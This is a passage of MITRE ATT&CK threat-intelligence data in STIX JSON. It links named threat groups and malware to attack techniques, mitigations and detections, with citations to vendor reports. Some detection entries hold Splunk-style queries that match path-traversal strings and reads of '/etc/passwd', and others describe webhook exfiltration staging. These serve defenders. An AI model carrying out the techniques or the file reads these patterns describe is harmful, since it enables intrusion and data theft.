            "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate the username on targeted hosts.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f630f321-d227-414b-9272-fe19268779e0",
            "created": "2020-10-02T16:42:42.607Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2025-04-28T16:17:41.101Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884",
            "target_ref": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--f6326754-74dc-46fc-b8e4-f8b1e5919c9d",
            "created": "2022-03-30T14:26:51.873Z",
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            "modified": "2025-04-16T22:58:14.340Z",
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            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
            "target_ref": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f635daec-033b-4d91-afa6-4a6f44f9dddb",
            "created": "2022-06-24T13:52:25.664Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Zscaler Lyceum DnsSystem June 2022",
                    "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022.",
                    "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:58:14.562Z",
            "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has set up custom DNS servers to send commands to compromised hosts via TXT records.(Citation: Zscaler Lyceum DnsSystem June 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3",
            "target_ref": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--f636aad5-3d15-4e0a-b932-8ff77aab0404",
            "created": "2025-03-09T16:10:05.949Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Splunk ShrinkLocker 2024",
                    "description": "Splunk Threat Research Team , Teoderick Contreras. (2024, September 5). ShrinkLocker Malware: Abusing BitLocker to Lock Your Data. Retrieved December 7, 2024.",
                    "url": "https://www.splunk.com/en_us/blog/security/shrinklocker-malware-abusing-bitlocker-to-lock-your-data.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:58:14.769Z",
            "description": "[ShrinkLocker](https://attack.mitre.org/software/S1178) checks whether the Bitlocker Drive Encryption Tools service is running.(Citation: Splunk ShrinkLocker 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--3fc44c12-b16e-4de1-8869-cf0eb4446070",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f638cb6d-d725-444f-93f9-02f49b4d9383",
            "created": "2019-01-30T15:38:21.294Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:58:14.993Z",
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.(Citation: Mandiant APT1 Appendix)",
            "relationship_type": "uses",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--f63970b4-a3fd-4fc9-8685-2baf0ff6ffff",
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                {
                    "source_name": "Cisco IOS Software Integrity Assurance - AAA",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#38"
                }
            ],
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            ],
            "modified": "2025-04-28T16:17:41.634Z",
            "description": "Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions users can perform and provide a history of user actions to detect unauthorized use and abuse. Ensure least privilege principles are applied to user accounts and groups so that only authorized users can perform configuration changes. (Citation: Cisco IOS Software Integrity Assurance - AAA)",
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            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
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            "id": "relationship--f63e09a1-6ed2-48b4-9ba2-69eec39091b4",
            "created": "2025-02-25T18:25:49.820Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cisco Salt Typhoon FEB 2025",
                    "description": "Cisco Talos. (2025, February 20). Weathering the storm: In the midst of a Typhoon. Retrieved February 24, 2025.",
                    "url": "https://blog.talosintelligence.com/salt-typhoon-analysis/"
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            ],
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            ],
            "modified": "2025-04-16T22:58:15.415Z",
            "description": "[Salt Typhoon](https://attack.mitre.org/groups/G1045) has exploited CVE-2018-0171 in the Smart Install feature of Cisco IOS and Cisco IOS XE software for initial access.(Citation: Cisco Salt Typhoon FEB 2025)",
            "relationship_type": "uses",
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                {
                    "source_name": "Talos PoetRAT April 2020",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html"
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            ],
            "modified": "2025-04-28T16:17:41.882Z",
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to compress files with zip.(Citation: Talos PoetRAT April 2020)",
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                    "source_name": "Cisco Talos Bitter Bangladesh May 2022",
                    "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"
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            "description": "[ZxxZ](https://attack.mitre.org/software/S1013) has used a XOR key to decrypt strings.(Citation: Cisco Talos Bitter Bangladesh May 2022)",
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                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"
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            "description": "[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.(Citation: Symantec W32.Duqu)",
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                {
                    "source_name": "FireEye APT33 Sept 2017",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
                },
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
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            "modified": "2025-04-28T16:17:46.329Z",
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)",
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                {
                    "source_name": "ESET Telebots Dec 2016",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"
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            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.(Citation: ESET Telebots Dec 2016)\t",
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                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                },
                {
                    "source_name": "Palo Alto OilRig Sep 2018",
                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/"
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            "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)",
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                    "source_name": "TrendMicro BlackTech June 2017",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/"
                },
                {
                    "source_name": "NTT Security Flagpro new December 2021",
                    "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.",
                    "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech"
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                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
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                {
                    "source_name": "Unit42 Redaman January 2019",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.",
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            "description": "[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
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                    "source_name": "STIG krbtgt reset",
                    "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020.",
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            "modified": "2025-04-28T16:17:47.669Z",
            "description": "Monitor for newly constructed files via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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            "x_mitre_deprecated": false,
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            "description": "Monitor processes for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious.",
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            "description": "Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
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                {
                    "source_name": "Palo Alto Office Test Sofacy",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
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            ],
            "modified": "2025-04-28T16:17:48.343Z",
            "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)",
            "relationship_type": "mitigates",
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        {
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            "id": "relationship--f6f5d688-5f78-492f-aed9-12f299b4f6f5",
            "created": "2019-06-18T18:40:33.766Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:17:48.539Z",
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used PowerShell to create a Meterpreter session.(Citation: Flashpoint FIN 7 March 2019)",
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            "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation. Web server logs (e.g., `var/log/httpd` or `/var/log/apache` for Apache web servers on Linux) may also record evidence of exploitation.\n\n<code> (source=\"C:\\\\inetpub\\\\logs\\\\LogFiles\\\\W3SVC*\" OR source=\"/var/log/apache2/access.log\" OR source=\"/var/log/nginx/access.log\")\n| eval exploit_attempt=if(like(cs_uri_query, \"%exec%\") OR like(cs_uri_query, \"%cmd%\") OR like(cs_uri_query, \"%cat /etc/passwd%\") OR like(cs_uri_query, \"%../../%\"), 1, 0)\n| stats count by src_ip, cs_uri_query, sc_status\n| where exploit_attempt=1 AND count > 5\n| table _time, src_ip, cs_uri_query, sc_status, count</code>",
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            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server.(Citation: US-CERT FALLCHILL Nov 2017)",
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                    "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.",
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                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
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                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.",
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            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.(Citation: Zscaler Kasidet)",
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                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
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                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.",
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            "description": "[Carberp](https://attack.mitre.org/software/S0484) has collected a list of running processes.(Citation: Trusteer Carberp October 2010)",
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                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application control techniques.(Citation: FireEye APT19)",
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                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
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            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.(Citation: Symantec Darkmoon Aug 2005)",
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                    "source_name": "KISA Operation Muzabi",
                    "description": "KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.",
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a macOS Python implant to gather data as well as MailFetcher.py code to automatically collect email data.(Citation: CISA AA20-301A Kimsuky)(Citation: KISA Operation Muzabi)",
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            "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ",
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            "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46",
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            "x_mitre_deprecated": false,
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a",
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            "external_references": [
                {
                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
                },
                {
                    "source_name": "Rhino S3 Ransomware Part 2",
                    "description": "Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021.",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
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            "modified": "2025-04-28T16:18:06.443Z",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)",
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                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
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                {
                    "source_name": "ESET Turla Lunar toolset May 2024",
                    "description": "Jur\u010dacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"
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            "description": "[LunarMail](https://attack.mitre.org/software/S1142) has the ability to use Outlook add-ins for persistence.(Citation: ESET Turla Lunar toolset May 2024)",
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                {
                    "source_name": "CISA EB Aug 2020",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a"
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            "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has stored keystrokes and screenshots within the <code>%temp%\\GoogleChrome</code>, <code>%temp%\\Downloads</code>, and <code>%temp%\\TrendMicroUpdate</code> directories.(Citation: CISA EB Aug 2020)",
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            "revoked": false,
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                {
                    "source_name": "Symantec Elderwood Sept 2012",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.(Citation: Symantec Elderwood Sept 2012)",
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                {
                    "source_name": "Microsoft BlackCat Jun 2022",
                    "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.",
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            "description": "[BlackCat](https://attack.mitre.org/software/S1068) can utilize `net use` commands to discover the user name on a compromised host.(Citation: Microsoft BlackCat Jun 2022)",
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            "created": "2020-11-16T21:16:42.732Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
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            "modified": "2025-04-28T16:18:07.397Z",
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for existing stratum cryptomining information in <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr \u2013 %stratum info%</code>.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
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            "id": "relationship--f8d053fe-be2f-43fd-88d5-507e82ee4e1d",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
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            "modified": "2025-04-28T16:18:07.579Z",
            "description": "[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim\u2019s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
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            "modified": "2025-04-28T16:18:07.745Z",
            "description": "Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670. Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ or that include additional flags such as changing a password without knowledge of the old password.\r\n\r\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.",
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                {
                    "source_name": "Unit 42 Siloscape Jun 2021",
                    "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/siloscape/"
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            "modified": "2025-04-28T16:18:07.924Z",
            "description": "[Siloscape](https://attack.mitre.org/software/S0623) makes various native API calls.(Citation: Unit 42 Siloscape Jun 2021)",
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            "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c",
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                    "source_name": "IBM TA505 April 2020",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/"
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            "modified": "2025-04-28T16:18:08.096Z",
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used HTTP to communicate with C2 nodes.(Citation: IBM TA505 April 2020)",
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                {
                    "source_name": "Securelist APT10 March 2021",
                    "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.",
                    "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
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            "modified": "2025-04-28T16:18:08.264Z",
            "description": "[Ecipekac](https://attack.mitre.org/software/S0624) has the ability to decrypt fileless loader modules.(Citation: Securelist APT10 March 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "modified": "2025-04-16T22:58:53.826Z",
            "description": "Monitor for files being accessed to exfiltrate data to a webhook as a malicious command and control channel.\n\nAnalytic 1 - Detecting File Staging Before Webhook Upload \n\n<code> (EventCode=11 OR EventCode=4663 OR source=\"/var/log/audit/audit.log\" type=\"open\")\n| where (file_path IN (\"/tmp/*\", \"/var/tmp/*\", \"/home/*/Downloads/*\", \"C:\\\\Users\\\\*\\\\Documents\\\\exfil\"))\n| eval risk_score=case(\n    file_path LIKE \"/tmp/%\", 9,\n    file_path LIKE \"C:\\\\Users\\\\*\\\\Documents\\\\exfil\", 8\n)\n| where risk_score >= 8\n| stats count by _time, host, user, file_path, risk_score</code>",
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                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
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            "modified": "2025-04-28T16:18:16.202Z",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
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                {
                    "source_name": "Mandiant_UNC2165",
                    "description": "Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"
                },
                {
                    "source_name": "Microsoft Ransomware as a Service",
                    "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
                },
                {
                    "source_name": "Crowdstrike EvilCorp March 2021",
                    "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"
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                    "source_name": "Tripwire AppUNBlocker",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
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            "description": "Monitoring changes to the Windows Registry may reveal malicious attempts to modify trust settings, such as the installation of root certificates. Installed root certificates are located in the Registry under\u00a0<code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code>\u00a0and\u00a0</code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:\u00a0(Citation: Tripwire AppUNBlocker) Also consider enabling the Registry Global Object Access Auditing (Citation: Microsoft Registry Auditing Aug 2016)\u00a0setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers:(Citation: Microsoft Audit Registry July 2012) ",
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            "created": "2020-11-10T15:39:49.352Z",
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                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"
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            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
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                {
                    "source_name": "McAfee Sharpshooter December 2018",
                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"
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            "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors installed [Rising Sun](https://attack.mitre.org/software/S0448) in the Startup folder and disguised it as `mssync.exe`.(Citation: McAfee Sharpshooter December 2018)",
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            "description": "Use application control to mitigate installation and use of unapproved virtualization software.",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Unit 42 Palo Alto Ransomware in Public Clouds 2022",
                    "description": "Jay Chen. (2022, May 16). A Look Into Public Clouds From the Ransomware Actor's Perspective. Retrieved March 21, 2023.",
